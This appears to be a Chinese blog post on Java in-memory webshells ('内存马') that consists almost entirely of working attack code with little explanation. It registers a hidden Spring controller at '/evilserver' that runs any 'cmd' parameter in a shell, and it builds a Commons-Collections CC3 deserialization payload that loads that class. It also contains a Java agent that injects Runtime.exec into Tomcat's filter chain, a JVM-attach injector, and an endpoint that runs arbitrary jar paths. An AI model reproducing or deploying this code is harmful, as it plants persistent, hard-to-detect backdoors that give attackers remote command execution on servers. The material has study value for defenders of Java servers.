Java内存马反思总结篇

// getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

//  从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("evilController").newInstance(), method);

package com.upgraded.test;

import com.sun.org.apache.bcel.internal.generic.ATHROW;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Method;

public class Register extends AbstractTranslet {
    static {
        // 获得WebApplicationContext
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        // 获得RequestMappingHandlerMapping
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 把EvilController注册到RequestMappingHandlerMapping
        Method method = null;
        try {
            method = (Class.forName("com.upgraded.web.evilController").getDeclaredMethods())[0];
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
        PatternsRequestCondition url = new PatternsRequestCondition("/evilserver");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        try {
            r.registerMapping(info, Class.forName("com.upgraded.web.evilController").newInstance(), method);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

package com.upgraded.web;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.lang.reflect.Method;

//@Controller
public class EvilController extends AbstractTranslet  implements Serializable{
    static {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        // 获得RequestMappingHandlerMapping
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 把EvilController注册到RequestMappingHandlerMapping，由于我实现了AbstractTranslet接口，就必须进行方法选择
        Method method = null;
        try {
            for (Method m : Class.forName("com.upgraded.web.EvilController").getDeclaredMethods()) {
                if ("evilServer".equals(m.getName())) {
                    method = m;
                    break;
                }
            }
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
        // 从RequestMappingInfo拿配置
        RequestMappingInfo.BuilderConfiguration config =
                new RequestMappingInfo.BuilderConfiguration();
        config.setPatternParser(r.getPatternParser());  // 关键！
        
        // 要使用config配置
        RequestMappingInfo info = RequestMappingInfo
                .paths("/evilserver")
                .methods(RequestMethod.GET, RequestMethod.POST)
                .options(config)  // 使用配置
                .build();
        try {
            r.registerMapping(info, Class.forName("com.upgraded.web.EvilController").newInstance(), method);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }


    @ResponseBody // 将返回值直接作为HTTP响应体
    public String evilServer(HttpServletRequest request, HttpServletResponse response, @RequestParam("cmd") String cmd) throws Exception{ // 接收cmd参数
        if (cmd != null) { // 检查cmd参数是否为null
            try {
                java.io.PrintWriter printWriter = response.getWriter(); // 获取HTTP响应的输出流
                ProcessBuilder builder; // 声明进程构建器变量
                // 判断当前操作系统是Windows还是Linux
                if (System.getProperty("os.name").toLowerCase().contains("win")) { // 判断是否为Windows系统
                    builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); // Windows下使用cmd.exe执行命令
                } else { // 如果不是Windows系统
                    builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); // Linux下使用bash执行命令
                }
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); // 启动进程并获取输出流
                String s = bufferedReader.readLine(); // 读取命令执行结果的第一行
                printWriter.println(s); // 将结果写入HTTP响应
                printWriter.flush(); // 刷新缓冲区，立即发送数据
                printWriter.close(); // 关闭输出流
            } catch (Exception e) { // 捕获所有异常
                e.printStackTrace(); // 打印异常堆栈信息到控制台
            }
        }
        return "over";
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

package com.upgraded.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import java.util.Base64;

import static org.springframework.util.SerializationUtils.serialize;

public class CC3_payload {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class TemplatesImplClass = templates.getClass();
        Field nameField = TemplatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "_nameIsHere");


        Field bytecodesField = TemplatesImplClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/MeHorses/upgraded/target/classes/com/upgraded/web/EvilController.class"));
        byte[][] codes = new byte[][]{code};
        bytecodesField.set(templates, codes);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 上面是transform方法，属于链子底层方法，接下来寻找调用transform方法的地方，也就是链子的顶部方法。
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        byte[] serialize = serialize(annotationInvocationHandler);
        System.out.println(Base64.getEncoder().encodeToString(serialize));


    }

    public static <T>  byte[] serialize(T o) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(o);
        return byteArrayOutputStream.toByteArray();
    }

    public static <T> T deserialize(byte[] ser) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
        return (T) in.readObject();
    }


}

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class EvilTransFormer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        // 只处理目标类，其他类直接返回 null
        if (!"org/apache/catalina/core/ApplicationFilterChain".equals(className)) {
            return null;
        }

        try{
            System.out.println("[Transformer] 开始转换类: " + className);
            // 类池
            ClassPool classPool = ClassPool.getDefault();
            // //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }
            // 选定宿主类，设置方法体
            CtClass ctClass = null;
            CtMethod ctMethod = null;
            ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

            // 检查并解冻类
            if (ctClass.isFrozen()) {
                ctClass.defrost();
            }

            ctMethod = ctClass.getDeclaredMethod("doFilter");
            String code = "{" +
                    "javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)$1;" +
                    "String cmd = request.getParameter(\"cmd\");" +
                    "if (cmd != null){" +
                    "  Runtime.getRuntime().exec(cmd);" +
                    "}" +
                    "}";
            ctMethod.insertBefore(code);
            // 返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            // 从类池移除，避免下次获取到冻结的类
            ctClass.detach();
            System.out.println("[Transformer] 转换完成，返回字节码");
            return bytes;

        } catch (Exception e) {
            System.out.println("[Transformer] 转换失败: " + e.getMessage());
            e.printStackTrace();
        }
        return null;
    }
}

import java.lang.instrument.Instrumentation;

public class JavaAgent {
    public static void agentmain(String args, Instrumentation inst) throws Exception{
        Class[] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            if(cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                System.out.println("[Agent] 找到目标类: " + cls.getName());
                inst.addTransformer(new EvilTransFormer(), true);
                inst.retransformClasses(cls);
                System.out.println("[Agent] 成功注入Transformer到HelloController");
            }
        }
    }
}

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.File;
import java.util.List;

public class Attack {
    public static void main(String[] args) throws Exception{
        // 获取当前工作目录
        String workDir = System.getProperty("user.dir");
        String agentPath = workDir + File.separator + "src" + File.separator + "main" + File.separator +
                "resources" + File.separator + "uploads" + File.separator + "java_agent.jar";

        File agentFile = new File(agentPath);
        System.out.println("[*] 当前工作目录: " + workDir);
        System.out.println("[*] Agent路径: " + agentPath);
        System.out.println("[*] Agent文件存在: " + agentFile.exists());
        System.out.println();

        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName());
            if (vmd.displayName().equals("com.JavaAgentApplication")){
                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                System.out.println("[+] 成功连接到目标JVM: " + vmd.id());
                //加载Agent
                virtualMachine.loadAgent(agentFile.getAbsolutePath());
                System.out.println("[+] Agent加载成功！");
                //断开JVM连接
                virtualMachine.detach();
                System.out.println("[+] 已断开连接");
            }
        }
    }
}

package com.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.nio.charset.Charset;

@Controller
public class ReadController {
    
    @RequestMapping("/read")
    @ResponseBody
    public String readAndExecuteJar(@RequestParam("path") String jarPath) throws Exception {
        StringBuilder output = new StringBuilder();
        
        try {
            // 显示调试信息
            output.append("=== 调试信息 ===\n");
            output.append("接收到的路径: ").append(jarPath).append("\n");
            output.append("当前工作目录: ").append(System.getProperty("user.dir")).append("\n");
            output.append("Java版本: ").append(System.getProperty("java.version")).append("\n");
            output.append("系统默认编码: ").append(Charset.defaultCharset()).append("\n");
            
            // 检查文件是否存在
            File jarFile = new File(jarPath);
            output.append("文件绝对路径: ").append(jarFile.getAbsolutePath()).append("\n");
            output.append("文件是否存在: ").append(jarFile.exists()).append("\n");
            if (jarFile.exists()) {
                output.append("文件大小: ").append(jarFile.length()).append(" 字节\n");
                output.append("是否可读: ").append(jarFile.canRead()).append("\n");
            }
            output.append("\n");
            
            // 使用ProcessBuilder执行命令（直接运行jar包）
            ProcessBuilder processBuilder = new ProcessBuilder(
                "java", 
                "-jar", 
                jarFile.getAbsolutePath()
            );
            processBuilder.redirectErrorStream(false);
            
            output.append("执行命令: java -jar ").append(jarFile.getAbsolutePath()).append("\n\n");
            
            // 启动进程
            Process process = processBuilder.start();
            
            // 读取输出（使用GBK编码解决中文乱码问题）
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream(), "GBK")
            );
            BufferedReader errorReader = new BufferedReader(
                new InputStreamReader(process.getErrorStream(), "GBK")
            );
            
            String line;
            output.append("=== 标准输出 ===\n");
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            output.append("\n=== 错误输出 ===\n");
            while ((line = errorReader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            // 等待进程完成
            int exitCode = process.waitFor();
            output.append("\n=== 退出码: ").append(exitCode).append(" ===");
            
            reader.close();
            errorReader.close();
            
        } catch (Exception e) {
            output.append("执行出错: ").append(e.getMessage()).append("\n\n");
            output.append("=== 完整异常堆栈 ===\n");
            
            // 获取完整的堆栈跟踪
            StringWriter sw = new StringWriter();
            PrintWriter pw = new PrintWriter(sw);
            e.printStackTrace(pw);
            output.append(sw.toString());
        }
        
        return output.toString();
    }
}